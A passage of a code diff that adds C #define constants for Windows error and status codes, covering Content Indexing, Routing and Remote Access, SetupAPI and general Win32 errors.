CI_PROPSTORE_INCONSISTENCY -1073473527 +#define CI_E_ALREADY_INITIALIZED -2147215350 +#define CI_E_NOT_INITIALIZED -2147215349 +#define CI_E_BUFFERTOOSMALL -2147215348 +#define CI_E_PROPERTY_NOT_CACHED -2147215347 +#define CI_S_WORKID_DELETED 268302 +#define CI_E_INVALID_STATE -2147215345 +#define CI_E_FILTERING_DISABLED -2147215344 +#define CI_E_DISK_FULL -2147215343 +#define CI_E_SHUTDOWN -2147215342 +#define CI_E_WORKID_NOTVALID -2147215341 +#define CI_S_END_OF_ENUMERATION 268308 +#define CI_E_NOT_FOUND -2147215339 +#define CI_E_USE_DEFAULT_PID -2147215338 +#define CI_E_DUPLICATE_NOTIFICATION -2147215337 +#define CI_E_UPDATES_DISABLED -2147215336 +#define CI_E_INVALID_FLAGS_COMBINATION -2147215335 +#define CI_E_OUTOFSEQ_INCREMENT_DATA -2147215334 +#define CI_E_SHARING_VIOLATION -2147215333 +#define CI_E_LOGON_FAILURE -2147215332 +#define CI_E_NO_CATALOG -2147215331 +#define CI_E_STRANGE_PAGEORSECTOR_SIZE -2147215330 +#define CI_E_TIMEOUT -2147215329 +#define CI_E_NOT_RUNNING -2147215328 +#define CI_INCORRECT_VERSION -1073473503 +#define CI_E_ENUMERATION_STARTED -1073473502 +#define CI_E_PROPERTY_TOOLARGE -1073473501 +#define CI_E_CLIENT_FILTER_ABORT -1073473500 +#define CI_S_NO_DOCSTORE 268325 +#define CI_S_CAT_STOPPED 268326 +#define CI_E_CARDINALITY_MISMATCH -2147215321 +#define CI_E_CONFIG_DISK_FULL -2147215320 +#define CI_E_DISTRIBUTED_GROUPBY_UNSUPPORTED -2147215319 +#define ROUTEBASE 0x384 +#define SUCCESS 0x0 +#define ERROR_ROUTER_STOPPED 0x384 +#define ERROR_ALREADY_CONNECTED 0x385 +#define ERROR_UNKNOWN_PROTOCOL_ID 0x386 +#define ERROR_DDM_NOT_RUNNING 0x387 +#define ERROR_INTERFACE_ALREADY_EXISTS 0x388 +#define ERROR_NO_SUCH_INTERFACE 0x389 +#define ERROR_INTERFACE_NOT_CONNECTED 0x38a +#define ERROR_PROTOCOL_STOP_PENDING 0x38b +#define ERROR_INTERFACE_CONNECTED 0x38c +#define ERROR_NO_INTERFACE_CREDENTIALS_SET 0x38d +#define ERROR_ALREADY_CONNECTING 0x38e +#define ERROR_UPDATE_IN_PROGRESS 0x38f +#define ERROR_INTERFACE_CONFIGURATION 0x390 +#define ERROR_NOT_CLIENT_PORT 0x391 +#define ERROR_NOT_ROUTER_PORT 0x392 +#define ERROR_CLIENT_INTERFACE_ALREADY_EXISTS 0x393 +#define ERROR_INTERFACE_DISABLED 0x394 +#define ERROR_AUTH_PROTOCOL_REJECTED 0x395 +#define ERROR_NO_AUTH_PROTOCOL_AVAILABLE 0x396 +#define ERROR_PEER_REFUSED_AUTH 0x397 +#define ERROR_REMOTE_NO_DIALIN_PERMISSION 0x398 +#define ERROR_REMOTE_PASSWD_EXPIRED 0x399 +#define ERROR_REMOTE_ACCT_DISABLED 0x39a +#define ERROR_REMOTE_RESTRICTED_LOGON_HOURS 0x39b +#define ERROR_REMOTE_AUTHENTICATION_FAILURE 0x39c +#define ERROR_INTERFACE_HAS_NO_DEVICES 0x39d +#define ERROR_IDLE_DISCONNECTED 0x39e +#define ERROR_INTERFACE_UNREACHABLE 0x39f +#define ERROR_SERVICE_IS_PAUSED 0x3a0 +#define ERROR_INTERFACE_DISCONNECTED 0x3a1 +#define ERROR_AUTH_SERVER_TIMEOUT 0x3a2 +#define ERROR_PORT_LIMIT_REACHED 0x3a3 +#define ERROR_PPP_SESSION_TIMEOUT 0x3a4 +#define ERROR_MAX_LAN_INTERFACE_LIMIT 0x3a5 +#define ERROR_MAX_WAN_INTERFACE_LIMIT 0x3a6 +#define ERROR_MAX_CLIENT_INTERFACE_LIMIT 0x3a7 +#define ERROR_BAP_DISCONNECTED 0x3a8 +#define ERROR_USER_LIMIT 0x3a9 +#define ERROR_NO_RADIUS_SERVERS 0x3aa +#define ERROR_INVALID_RADIUS_RESPONSE 0x3ab +#define ERROR_DIALIN_HOURS_RESTRICTION 0x3ac +#define ERROR_ALLOWED_PORT_TYPE_RESTRICTION 0x3ad +#define ERROR_AUTH_PROTOCOL_RESTRICTION 0x3ae +#define ERROR_BAP_REQUIRED 0x3af +#define ERROR_DIALOUT_HOURS_RESTRICTION 0x3b0 +#define ERROR_ROUTER_CONFIG_INCOMPATIBLE 0x3b1 +#define WARNING_NO_MD5_MIGRATION 0x3b2 +#define ERROR_PROTOCOL_ALREADY_INSTALLED 0x3b4 +#define ERROR_INVALID_SIGNATURE_LENGTH 0x3b5 +#define ERROR_INVALID_SIGNATURE 0x3b6 +#define ERROR_NO_SIGNATURE 0x3b7 +#define ERROR_INVALID_PACKET_LENGTH_OR_ID 0x3b8 +#define ERROR_INVALID_ATTRIBUTE_LENGTH 0x3b9 +#define ERROR_INVALID_PACKET 0x3ba +#define ERROR_AUTHENTICATOR_MISMATCH 0x3bb +#define ERROR_REMOTEACCESS_NOT_CONFIGURED 0x3bc +#define ROUTEBASEEND 0x3bd +#define _WIN32_MAXVER 0xa00 +#define _WIN32_WINDOWS_MAXVER 0xa00 +#define NTDDI_MAXVER 0xa00 +#define _WIN32_IE_MAXVER 0xa00 +#define _WIN32_WINNT_MAXVER 0xa00 +#define WINVER_MAXVER 0xa00 +#define DUPLICATE_CLOSE_SOURCE 0x1 +#define DUPLICATE_SAME_ACCESS 0x2 +#define NO_ERROR 0x0 +#define ERROR_EXPECTED_SECTION_NAME 0xe0000000 +#define ERROR_BAD_SECTION_NAME_LINE 0xe0000001 +#define ERROR_SECTION_NAME_TOO_LONG 0xe0000002 +#define ERROR_GENERAL_SYNTAX 0xe0000003 +#define ERROR_WRONG_INF_STYLE 0xe0000100 +#define ERROR_SECTION_NOT_FOUND 0xe0000101 +#define ERROR_LINE_NOT_FOUND 0xe0000102 +#define ERROR_NO_BACKUP 0xe0000103 +#define ERROR_NO_ASSOCIATED_CLASS 0xe0000200 +#define ERROR_CLASS_MISMATCH 0xe0000201 +#define ERROR_DUPLICATE_FOUND 0xe0000202 +#define ERROR_NO_DRIVER_SELECTED 0xe0000203 +#define ERROR_KEY_DOES_NOT_EXIST 0xe0000204 +#define ERROR_INVALID_DEVINST_NAME 0xe0000205 +#define ERROR_INVALID_CLASS 0xe0000206 +#define ERROR_DEVINST_ALREADY_EXISTS 0xe0000207 +#define ERROR_DEVINFO_NOT_REGISTERED 0xe0000208 +#define ERROR_INVALID_REG_PROPERTY 0xe0000209 +#define ERROR_NO_INF 0xe000020a +#define ERROR_NO_SUCH_DEVINST 0xe000020b +#define ERROR_CANT_LOAD_CLASS_ICON 0xe000020c +#define ERROR_INVALID_CLASS_INSTALLER 0xe000020d +#define ERROR_DI_DO_DEFAULT 0xe000020e +#define ERROR_DI_NOFILECOPY 0xe000020f +#define ERROR_INVALID_HWPROFILE 0xe0000210 +#define ERROR_NO_DEVICE_SELECTED 0xe0000211 +#define ERROR_DEVINFO_LIST_LOCKED 0xe0000212 +#define ERROR_DEVINFO_DATA_LOCKED 0xe0000213 +#define ERROR_DI_BAD_PATH 0xe0000214 +#define ERROR_NO_CLASSINSTALL_PARAMS 0xe0000215 +#define ERROR_FILEQUEUE_LOCKED 0xe0000216 +#define ERROR_BAD_SERVICE_INSTALLSECT 0xe0000217 +#define ERROR_NO_CLASS_DRIVER_LIST 0xe0000218 +#define ERROR_NO_ASSOCIATED_SERVICE 0xe0000219 +#define ERROR_NO_DEFAULT_DEVICE_INTERFACE 0xe000021a +#define ERROR_DEVICE_INTERFACE_ACTIVE 0xe000021b +#define ERROR_DEVICE_INTERFACE_REMOVED 0xe000021c +#define ERROR_BAD_INTERFACE_INSTALLSECT 0xe000021d +#define ERROR_NO_SUCH_INTERFACE_CLASS 0xe000021e +#define ERROR_INVALID_REFERENCE_STRING 0xe000021f +#define ERROR_INVALID_MACHINENAME 0xe0000220 +#define ERROR_REMOTE_COMM_FAILURE 0xe0000221 +#define ERROR_MACHINE_UNAVAILABLE 0xe0000222 +#define ERROR_NO_CONFIGMGR_SERVICES 0xe0000223 +#define ERROR_INVALID_PROPPAGE_PROVIDER 0xe0000224 +#define ERROR_NO_SUCH_DEVICE_INTERFACE 0xe0000225 +#define ERROR_DI_POSTPROCESSING_REQUIRED 0xe0000226 +#define ERROR_INVALID_COINSTALLER 0xe0000227 +#define ERROR_NO_COMPAT_DRIVERS 0xe0000228 +#define ERROR_NO_DEVICE_ICON 0xe0000229 +#define ERROR_INVALID_INF_LOGCONFIG 0xe000022a +#define ERROR_DI_DONT_INSTALL 0xe000022b +#define ERROR_INVALID_FILTER_DRIVER 0xe000022c +#define ERROR_NON_WINDOWS_NT_DRIVER 0xe000022d +#define ERROR_NON_WINDOWS_DRIVER 0xe000022e +#define ERROR_NO_CATALOG_FOR_OEM_INF 0xe000022f +#define ERROR_DEVINSTALL_QUEUE_NONNATIVE 0xe0000230 +#define ERROR_NOT_DISABLEABLE 0xe0000231 +#define ERROR_CANT_REMOVE_DEVINST 0xe0000232 +#define ERROR_INVALID_TARGET 0xe0000233 +#define ERROR_DRIVER_NONNATIVE 0xe0000234 +#define ERROR_IN_WOW64 0xe0000235 +#define ERROR_SET_SYSTEM_RESTORE_POINT 0xe0000236 +#define ERROR_SCE_DISABLED 0xe0000238 +#define ERROR_UNKNOWN_EXCEPTION 0xe0000239 +#define ERROR_PNP_REGISTRY_ERROR 0xe000023a +#define ERROR_REMOTE_REQUEST_UNSUPPORTED 0xe000023b +#define ERROR_NOT_AN_INSTALLED_OEM_INF 0xe000023c +#define ERROR_INF_IN_USE_BY_DEVICES 0xe000023d +#define ERROR_DI_FUNCTION_OBSOLETE 0xe000023e +#define ERROR_NO_AUTHENTICODE_CATALOG 0xe000023f +#define ERROR_AUTHENTICODE_DISALLOWED 0xe0000240 +#define ERROR_AUTHENTICODE_TRUSTED_PUBLISHER 0xe0000241 +#define ERROR_AUTHENTICODE_TRUST_NOT_ESTABLISHED 0xe0000242 +#define ERROR_AUTHENTICODE_PUBLISHER_NOT_TRUSTED 0xe0000243 +#define ERROR_SIGNATURE_OSATTRIBUTE_MISMATCH 0xe0000244 +#define ERROR_ONLY_VALIDATE_VIA_AUTHENTICODE 0xe0000245 +#define ERROR_DEVICE_INSTALLER_NOT_READY 0xe0000246 +#define ERROR_DRIVER_STORE_ADD_FAILED 0xe0000247 +#define ERROR_DEVICE_INSTALL_BLOCKED 0xe0000248 +#define ERROR_DRIVER_INSTALL_BLOCKED 0xe0000249 +#define ERROR_WRONG_INF_TYPE 0xe000024a +#define ERROR_FILE_HASH_NOT_IN_CATALOG 0xe000024b +#define ERROR_DRIVER_STORE_DELETE_FAILED 0xe000024c +#define ERROR_UNRECOVERABLE_STACK_OVERFLOW 0xe0000300 +#define ERROR_NO_DEFAULT_INTERFACE_DEVICE 0xe000021a +#define ERROR_INTERFACE_DEVICE_ACTIVE 0xe000021b +#define ERROR_INTERFACE_DEVICE_REMOVED 0xe000021c +#define ERROR_NO_SUCH_INTERFACE_DEVICE 0xe0000225 +#define ERROR_NOT_INSTALLED 0xe0001000 +#define ERROR_SUCCESS 0x0 +#define ERROR_INVALID_FUNCTION 0x1 +#define ERROR_FILE_NOT_FOUND 0x2 +#define ERROR_PATH_NOT_FOUND 0x3 +#define ERROR_TOO_MANY_OPEN_FILES 0x4 +#define ERROR_ACCESS_DENIED 0x5 +#define ERROR_INVALID_HANDLE 0x6 +#define ERROR_ARENA_TRASHED 0x7 +#define ERROR_NOT_ENOUGH_MEMORY 0x8 +#define ERROR_INVALID_BLOCK 0x9 +#define ERROR_BAD_ENVIRONMENT 0xa +#define ERROR_BAD_FORMAT 0xb +#define ERROR_INVALID_ACCESS 0xc +#define ERROR_INVALID_DATA 0xd +#define ERROR_OUTOFMEMORY 0xe +#define ERROR_INVALID_DRIVE 0xf +#define ERROR_CURRENT_DIRECTORY 0x10 +#define ERROR_NOT_SAME_DEVICE 0x11 +#define ERROR_NO_MORE_FILES 0x12 +#define ERROR_WRITE_PROTECT 0x13 +#define ERROR_BAD_UNIT 0x14 +#define ERROR_NOT_READY 0x15 +#define ERROR_BAD_COMMAND 0x16 +#define ERROR_CRC 0x17 +#define ERROR_BAD_LENGTH 0x18 +#define ERROR_SEEK 0x19 +#define ERROR_NOT_DOS_DISK 0x1a +#define ERROR_SECTOR_NOT_FOUND 0x1b +#define ERROR_OUT_OF_PAPER 0x1c +#define ERROR_WRITE_FAULT 0x1d +#define ERROR_READ_FAULT 0x1e +#define ERROR_GEN_FAILURE 0x1f +#define ERROR_SHARING_VIOLATION 0x20 +#define ERROR_LOCK_VIOLATION 0x21 +#define ERROR_WRONG_DISK 0x22 +#define ERROR_SHARING_BUFFER_EXCEEDED 0x24 +#define ERROR_HANDLE_EOF 0x26 +#define ERROR_HANDLE_DISK_FULL 0x27 +#define ERROR_NOT_SUPPORTED 0x32 +#define ERROR_REM_NOT_LIST 0x33 +#define ERROR_DUP_NAME 0x34 +#define ERROR_BAD_NETPATH 0x35 +#define ERROR_NETWORK_BUSY 0x36 +#define ERROR_DEV_NOT_EXIST 0x37 +#define ERROR_TOO_MANY_CMDS 0x38 +#define ERROR_ADAP_HDW_ERR 0x39 +#define ERROR_BAD_NET_RESP 0x3a +#define ERROR_UNEXP_NET_ERR 0x3b +#define ERROR_BAD_REM_ADAP 0x3c +#define ERROR_PRINTQ_FULL 0x3d +#define ERROR_NO_SPOOL_SPACE 0x3e +#define ERROR_PRINT_CANCELLED 0x3f +#define ERROR_NETNAME_DELETED 0x40 +#define ERROR_NETWORK_ACCESS_DENIED 0x41 +#define ERROR_BAD_DEV_TYPE 0x42 +#define ERROR_BAD_NET_NAME 0x43 +#define ERROR_TOO_MANY_NAMES 0x44 +#define ERROR_TOO_MANY_SESS 0x45 +#define ERROR_SHARING_PAUSED 0x46 +#define ERROR_REQ_NOT_ACCEP 0x47 +#define ERROR_REDIR_PAUSED 0x48 +#define ERROR_FILE_EXISTS 0x50 +#define ERROR_CANNOT_MAKE 0x52 +#define ERROR_FAIL_I24 0x53 +#define ERROR_OUT_OF_STRUCTURES 0x54 +#define ERROR_ALREADY_ASSIGNED 0x55 +#define ERROR_INVALID_PASSWORD 0x56 +#define ERROR_INVALID_PARAMETER 0x57 +#define ERROR_NET_WRITE_FAULT 0x58 +#define ERROR_NO_PROC_SLOTS 0x59 +#define ERROR_TOO_MANY_SEMAPHORES 0x64 +#define ERROR_EXCL_SEM_ALREADY_OWNED 0x65 +#define ERROR_SEM_IS_SET 0x66 +#define ERROR_TOO_MANY_SEM_REQUESTS 0x67 +#define ERROR_INVALID_AT_INTERRUPT_TIME 0x68 +#define ERROR_SEM_OWNER_DIED 0x69 +#define ERROR_SEM_USER_LIMIT 0x6a +#define ERROR_DISK_CHANGE 0x6b +#define ERROR_DRIVE_LOCKED 0x6c +#define ERROR_BROKEN_PIPE 0x6d +#define ERROR_OPEN_FAILED 0x6e +#define ERROR_BUFFER_OVERFLOW 0x6f +#define ERROR_DISK_FULL 0x70 +#define ERROR_NO_MORE_SEARCH_HANDLES 0x71 +#define ERROR_INVALID_TARGET_HANDLE 0x72 +#define ERROR_INVALID_CATEGORY 0x75 +#define ERROR_INVALID_VERIFY_SWITCH 0x76 +#define ERROR_BAD_DRIVER_LEVEL 0x77 +#define ERROR_CALL_NOT_IMPLEMENTED 0x78 +#define ERROR_SEM_TIMEOUT 0x79 +#define ERROR_INSUFFICIENT_BUFFER 0x7a +#define ERROR_INVALID_NAME 0x7b +#define ERROR_INVALID_LEVEL 0x7c +#define ERROR_NO_VOLUME_LABEL 0x7d +#define ERROR_MOD_NOT_FOUND 0x7e +#define ERROR_PROC_NOT_FOUND 0x7f +#define ERROR_WAIT_NO_CHILDREN 0x80 +#define ERROR_CHILD_NOT_COMPLETE 0x81 +#define ERROR_DIRECT_ACCESS_HANDLE 0x82 +#define ERROR_NEGATIVE_SEEK 0x83 +#define ERROR_SEEK_ON_DEVICE 0x84 +#define ERROR_IS_JOIN_TARGET 0x85 +#define ERROR_IS_JOINED 0x86 +#define ERROR_IS_SUBSTED 0x87 +#define ERROR_NOT_JOINED 0x88 +#define ERROR_NOT_SUBSTED 0x89 +#define ERROR_JOIN_TO_JOIN 0x8a +#define ERROR_SUBST_TO_SUBST 0x8b +#define ERROR_JOIN_TO_SUBST 0x8c +#define ERROR_SUBST_TO_JOIN 0x8d +#define ERROR_BUSY_DRIVE 0x8e +#define ERROR_SAME_DRIVE 0x8f +#define ERROR_DIR_NOT_ROOT 0x90 +#define ERROR_DIR_NOT_EMPTY 0x91 +#define ERROR_IS_SUBST_PATH 0x92 +#define ERROR_IS_JOIN_PATH 0x93 +#define ERROR_PATH_BUSY 0x94 +#define ERROR_IS_SUBST_TARGET 0x95 +#define ERROR_SYSTEM_TRACE 0x96 +#define ERROR_INVALID_EVENT_COUNT 0x97 +#define ERROR_TOO_MANY_MUXWAITERS 0x98 +#define ERROR_INVALID_LIST_FORMAT 0x99 +#define ERROR_LABEL_TOO_LONG 0x9a +#define ERROR_TOO_MANY_TCBS 0x9b +#define ERROR_SIGNAL_REFUSED 0x9c +#define ERROR_DISCARDED 0x9d +#define ERROR_NOT_LOCKED 0x9e +#define ERROR_BAD_THREADID_ADDR 0x9f +#define ERROR_BAD_ARGUMENTS 0xa0 +#define ERROR_BAD_PATHNAME 0xa1 +#define ERROR_SIGNAL_PENDING 0xa2 +#define ERROR_MAX_THRDS_REACHED 0xa4 +#define ERROR_LOCK_FAILED 0xa7 +#define ERROR_BUSY 0xaa +#define ERROR_DEVICE_SUPPORT_IN_PROGRESS 0xab +#define ERROR_CANCEL_VIOLATION 0xad +#define ERROR_ATOMIC_LOCKS_NOT_SUPPORTED 0xae +#define ERROR_INVALID_SEGMENT_NUMBER 0xb4 +#define ERROR_INVALID_ORDINAL 0xb6 +#define ERROR_ALREADY_EXISTS 0xb7 +#define ERROR_INVALID_FLAG_NUMBER 0xba +#define ERROR_SEM_NOT_FOUND 0xbb +#define ERROR_INVALID_STARTING_CODESEG 0xbc +#define ERROR_INVALID_STACKSEG 0xbd +#define ERROR_INVALID_MODULETYPE 0xbe +#define ERROR_INVALID_EXE_SIGNATURE 0xbf +#define ERROR_EXE_MARKED_INVALID 0xc0 +#define ERROR_BAD_EXE_FORMAT 0xc1 +#define ERROR_ITERATED_DATA_EXCEEDS_64k 0xc2 +#define ERROR_INVALID_MINALLOCSIZE 0xc3 +#define ERROR_DYNLINK_FROM_INVALID_RING 0xc4 +#define ERROR_IOPL_NOT_ENABLED 0xc5 +#define ERROR_INVALID_SEGDPL 0xc6 +#define ERROR_AUTODATASEG_EXCEEDS_64k 0xc7 +#define ERROR_RING2SEG_MUST_BE_MOVABLE 0xc8 +#define ERROR_RELOC_CHAIN_XEEDS_SEGLIM 0xc9 +#define ERROR_INFLOOP_IN_RELOC_CHAIN 0xca +#define ERROR_ENVVAR_NOT_FOUND 0xcb +#define ERROR_NO_SIGNAL_SENT 0xcd +#define ERROR_FILENAME_EXCED_RANGE 0xce +#define ERROR_RING2_STACK_IN_USE 0xcf +#define ERROR_META_EXPANSION_TOO_LONG 0xd0 +#define ERROR_INVALID_SIGNAL_NUMBER 0xd1 +#define ERROR_THREAD_1_INACTIVE 0xd2 +#define ERROR_LOCKED 0xd4 +#define ERROR_TOO_MANY_MODULES 0xd6 +#define ERROR_NESTING_NOT_ALLOWED 0xd7 +#define ERROR_EXE_MACHINE_TYPE_MISMATCH 0xd8 +#define ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY 0xd9 +#define ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY 0xda +#define ERROR_FILE_CHECKED_OUT 0xdc +#define ERROR_CHECKOUT_REQUIRED 0xdd +#define ERROR_BAD_FILE_TYPE 0xde +#define ERROR_FILE_TOO_LARGE 0xdf +#define ERROR_FORMS_AUTH_REQUIRED 0xe0 +#define ERROR_VIRUS_INFECTED 0xe1 +#define ERROR_VIRUS_DELETED 0xe2 +#define ERROR_PIPE_LOCAL 0xe5 +#define ERROR_BAD_PIPE 0xe6 +#define ERROR_PIPE_BUSY 0xe7 +#define ERROR_NO_DATA 0xe8 +#define ERROR_PIPE_NOT_CONNECTED 0xe9 +#define ERROR_MORE_DATA 0xea +#define ERROR_NO_WORK_DONE 0xeb +#define ERROR_VC_DISCONNECTED 0xf0 +#define ERROR_INVALID_EA_NAME 0xfe +#define ERROR_EA_LIST_INCONSISTENT 0xff +#define ERROR_NO_MORE_ITEMS 0x103 +#define ERROR_CANNOT_COPY 0x10a +#define ERROR_DIRECTORY 0x10b +#define ERROR_EAS_DIDNT_FIT 0x113 +#define ERROR_EA_FILE_CORRUPT 0x114 +#define ERROR_EA_TABLE_FULL 0x115 +#define ERROR_INVALID_EA_HANDLE 0x116 +#define ERROR_EAS_NOT_SUPPORTED 0x11a +#define ERROR_NOT_OWNER 0x120 +#define ERROR_TOO_MANY_POSTS 0x12a +#define ERROR_PARTIAL_COPY 0x12b +#define ERROR_OPLOCK_NOT_GRANTED 0x12c +#define ERROR_INVALID_OPLOCK_PROTOCOL 0x12d +#define ERROR_DISK_TOO_FRAGMENTED 0x12e +#define ERROR_DELETE_PENDING 0x12f +#define ERROR_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING 0x130 +#define ERROR_SHORT_NAMES_NOT_ENABLED_ON_VOLUME 0x131 +#define ERROR_SECURITY_STREAM_IS_INCONSISTENT 0x132 +#define ERROR_INVALID_LOCK_RANGE 0x133 +#define ERROR_IMAGE_SUBSYSTEM_NOT_PRESENT 0x134 +#define ERROR_NOTIFICATION_GUID_ALREADY_DEFINED 0x135 +#define ERROR_INVALID_EXCEPTION_HANDLER 0x136 +#define ERROR_DUPLICATE_PRIVILEGES 0x137 +#define ERROR_NO_RANGES_PROCESSED 0x138 +#define ERROR_NOT_ALLOWED_ON_SYSTEM_FILE 0x139 +#define ERROR_DISK_RESOURCES_EXHAUSTED 0x13a +#define ERROR_INVALID_TOKEN 0x13b +#define ERROR_DEVICE_FEATURE_NOT_SUPPORTED 0x13c +#define ERROR_MR_MID_NOT_FOUND 0x13d +#define ERROR_SCOPE_NOT_FOUND 0x13e +#define ERROR_UNDEFINED_SCOPE 0x13f +#define ERROR_INVALID_CAP 0x140 +#define ERROR_DEVICE_UNREACHABLE 0x141 +#define ERROR_DEVICE_NO_RESOURCES 0x142 +#define ERROR_DATA_CHECKSUM_ERROR 0x143 +#define ERROR_INTERMIXED_KERNEL_EA_OPERATION 0x144 +#define ERROR_FILE_LEVEL_TRIM_NOT_SUPPORTED 0x146 +#define ERROR_OFFSET_ALIGNMENT_VIOLATION 0x147 +#define ERROR_INVALID_FIELD_IN_PARAMETER_LIST 0x148 +#define ERROR_OPERATION_IN_PROGRESS 0x149 +#define ERROR_BAD_DEVICE_PATH 0x14a +#define ERROR_TOO_MANY_DESCRIPTORS 0x14b +#define ERROR_SCRUB_DATA_DISABLED 0x14c +#define ERROR_NOT_REDUNDANT_STORAGE 0x14d +#define ERROR_RESIDENT_FILE_NOT_SUPPORTED 0x14e +#define ERROR_COMPRESSED_FILE_NOT_SUPPORTED 0x14f +#define ERROR_DIRECTORY_NOT_SUPPORTED 0x150 +#define ERROR_NOT_READ_FROM_COPY 0x151 +#define ERROR_FT_WRITE_FAILURE 0x152 +#define ERROR_FT_DI_SCAN_REQUIRED 0x153 +#define ERROR_INVALID_KERNEL_INFO_VERSION 0x154 +#define ERROR_INVALID_PEP_INFO_VERSION 0x155 +#define ERROR_OBJECT_NOT_EXTERNALLY_BACKED 0x156 +#define ERROR_EXTERNAL_BACKING_PROVIDER_UNKNOWN 0x157 +#define ERROR_COMPRESSION_NOT_BENEFICIAL 0x158 +#define ERROR_STORAGE_TOPOLOGY_ID_MISMATCH 0x159 +#define ERROR_BLOCKED_BY_PARENTAL_CONTROLS 0x15a +#define ERROR_BLOCK_TOO_MANY_REFERENCES 0x15b +#define ERROR_MARKED_TO_DISALLOW_WRITES 0x15c +#define ERROR_ENCLAVE_FAILURE 0x15d +#define ERROR_FAIL_NOACTION_REBOOT 0x15e +#define ERROR_FAIL_SHUTDOWN 0x15f +#define ERROR_FAIL_RESTART 0x160 +#define ERROR_MAX_SESSIONS_REACHED 0x161 +#define ERROR_NETWORK_ACCESS_DENIED_EDP 0x162 +#define ERROR_DEVICE_HINT_NAME_BUFFER_TOO_SMALL 0x163 +#define ERROR_EDP_POLICY_DENIES_OPERATION 0x164 +#define ERROR_EDP_DPL_POLICY_CANT_BE_SATISFIED 0x165 +#define ERROR_CLOUD_FILE_SYNC_ROOT_METADATA_CORRUPT 0x166 +#define ERROR_DEVICE_IN_MAINTENANCE 0x167 +#define ERROR_NOT_SUPPORTED_ON_DAX 0x168 +#define ERROR_DAX_MAPPING_EXISTS 0x169 +#define ERROR_CLOUD_FILE_PROVIDER_NOT_RUNNING 0x16a +#define ERROR_CLOUD_FILE_METADATA_CORRUPT 0x16b +#define ERROR_CLOUD_FILE_METADATA_TOO_LARGE 0x16c +#define ERROR_CLOUD_FILE_PROPERTY_BLOB_TOO_LARGE 0x16d +#define ERROR_CLOUD_FILE_PROPERTY_BLOB_CHECKSUM_MISMATCH 0x16e +#define ERROR_CHILD_PROCESS_BLOCKED 0x16f +#define ERROR_STORAGE_LOST_DATA_PERSISTENCE 0x170 +#define ERROR_FILE_SYSTEM_VIRTUALIZATION_UNAVAILABLE 0x171 +#define ERROR_FILE_SYSTEM_VIRTUALIZATION_METADATA_CORRUPT 0x172 +#define ERROR_FILE_SYSTEM_VIRTUALIZATION_BUSY 0x173 +#define ERROR_FILE_SYSTEM_VIRTUALIZATION_PROVIDER_UNKNOWN 0x174 +#define ERROR_GDI_HANDLE_LEAK 0x175 +#define ERROR_CLOUD_FILE_TOO_MANY_PROPERTY_BLOBS 0x176 +#define ERROR_CLOUD_FILE_PROPERTY_VERSION_NOT_SUPPORTED 0x177 +#define ERROR_NOT_A_CLOUD_FILE 0x178 +#define ERROR_CLOUD_FILE_NOT_IN_SYNC 0x179 +#define ERROR_CLOUD_FILE_ALREADY_CONNECTED 0x17a +#define ERROR_CLOUD_FILE_NOT_SUPPORTED 0x17b +#define ERROR_CLOUD_FILE_INVALID_REQUEST 0x17c +#define ERROR_CLOUD_FILE_READ_ONLY_VOLUME 0x17d +#define ERROR_CLOUD_FILE_CONNECTED_PROVIDER_ONLY 0x17e +#define ERROR_CLOUD_FILE_VALIDATION_FAILED 0x17f +#define ERROR_SMB1_NOT_AVAILABLE 0x180 +#define ERROR_FILE_SYSTEM_VIRTUALIZATION_INVALID_OPERATION 0x181 +#define ERROR_CLOUD_FILE_AUTHENTICATION_FAILED 0x182 +#define ERROR_CLOUD_FILE_INSUFFICIENT_RESOURCES 0x183 +#define ERROR_CLOUD_FILE_NETWORK_UNAVAILABLE 0x184 +#define ERROR_CLOUD_FILE_UNSUCCESSFUL 0x185 +#define ERROR_CLOUD_FILE_NOT_UNDER_SYNC_ROOT 0x186 +#define ERROR_CLOUD_FILE_IN_USE 0x187 +#define ERROR_CLOUD_FILE_PINNED 0x188 +#define ERROR_CLOUD_FILE_REQUEST_ABORTED 0x189 +#define ERROR_CLOUD_FILE_PROPERTY_CORRUPT 0x18a +#define ERROR_CLOUD_FILE_ACCESS_DENIED 0x18b +#define ERROR_CLOUD_FILE_INCOMPATIBLE_HARDLINKS 0x18c +#define ERROR_CLOUD_FILE_PROPERTY_LOCK_CONFLICT 0x18d +#define ERROR_CLOUD_FILE_REQUEST_CANCELED 0x18e +#define ERROR_EXTERNAL_SYSKEY_NOT_SUPPORTED 0x18f +#define ERROR_THREAD_MODE_ALREADY_BACKGROUND 0x190 +#define ERROR_THREAD_MODE_NOT_BACKGROUND 0x191 +#define ERROR_PROCESS_MODE_ALREADY_BACKGROUND 0x192 +#define ERROR_PROCESS_MODE_NOT_BACKGROUND 0x193 +#define ERROR_CLOUD_FILE_PROVIDER_TERMINATED 0x194 +#define ERROR_NOT_A_CLOUD_SYNC_ROOT 0x195 +#define ERROR_FILE_PROTECTED_UNDER_DPL 0x196 +#define ERROR_VOLUME_NOT_CLUSTER_ALIGNED 0x197 +#define ERROR_NO_PHYSICALLY_ALIGNED_FREE_SPACE_FOUND 0x198 +#define ERROR_APPX_FILE_NOT_ENCRYPTED 0x199 +#define ERROR_RWRAW_ENCRYPTED_FILE_NOT_ENCRYPTED 0x19a +#define ERROR_RWRAW_ENCRYPTED_INVALID_EDATAINFO_FILEOFFSET 0x19b +#define ERROR_RWRAW_ENCRYPTED_INVALID_EDATAINFO_FILERANGE 0x19c +#define ERROR_RWRAW_ENCRYPTED_INVALID_EDATAINFO_PARAMETER 0x19d +#define ERROR_LINUX_SUBSYSTEM_NOT_PRESENT 0x19e +#define ERROR_FT_READ_FAILURE 0x19f +#define ERROR_STORAGE_RESERVE_ID_INVALID 0x1a0 +#define ERROR_STORAGE_RESERVE_DOES_NOT_EXIST 0x1a1 +#define ERROR_STORAGE_RESERVE_ALREADY_EXISTS 0x1a2 +#define ERROR_STORAGE_RESERVE_NOT_EMPTY 0x1a3 +#define ERROR_NOT_A_DAX_VOLUME 0x1a4 +#define ERROR_NOT_DAX_MAPPABLE 0x1a5 +#define ERROR_TIME_SENSITIVE_THREAD 0x1a6 +#define ERROR_DPL_NOT_SUPPORTED_FOR_USER 0x1a7 +#define ERROR_CASE_DIFFERING_NAMES_IN_DIR 0x1a8 +#define ERROR_FILE_NOT_SUPPORTED 0x1a9 +#define ERROR_CLOUD_FILE_REQUEST_TIMEOUT 0x1aa +#define ERROR_NO_TASK_QUEUE 0x1ab +#define 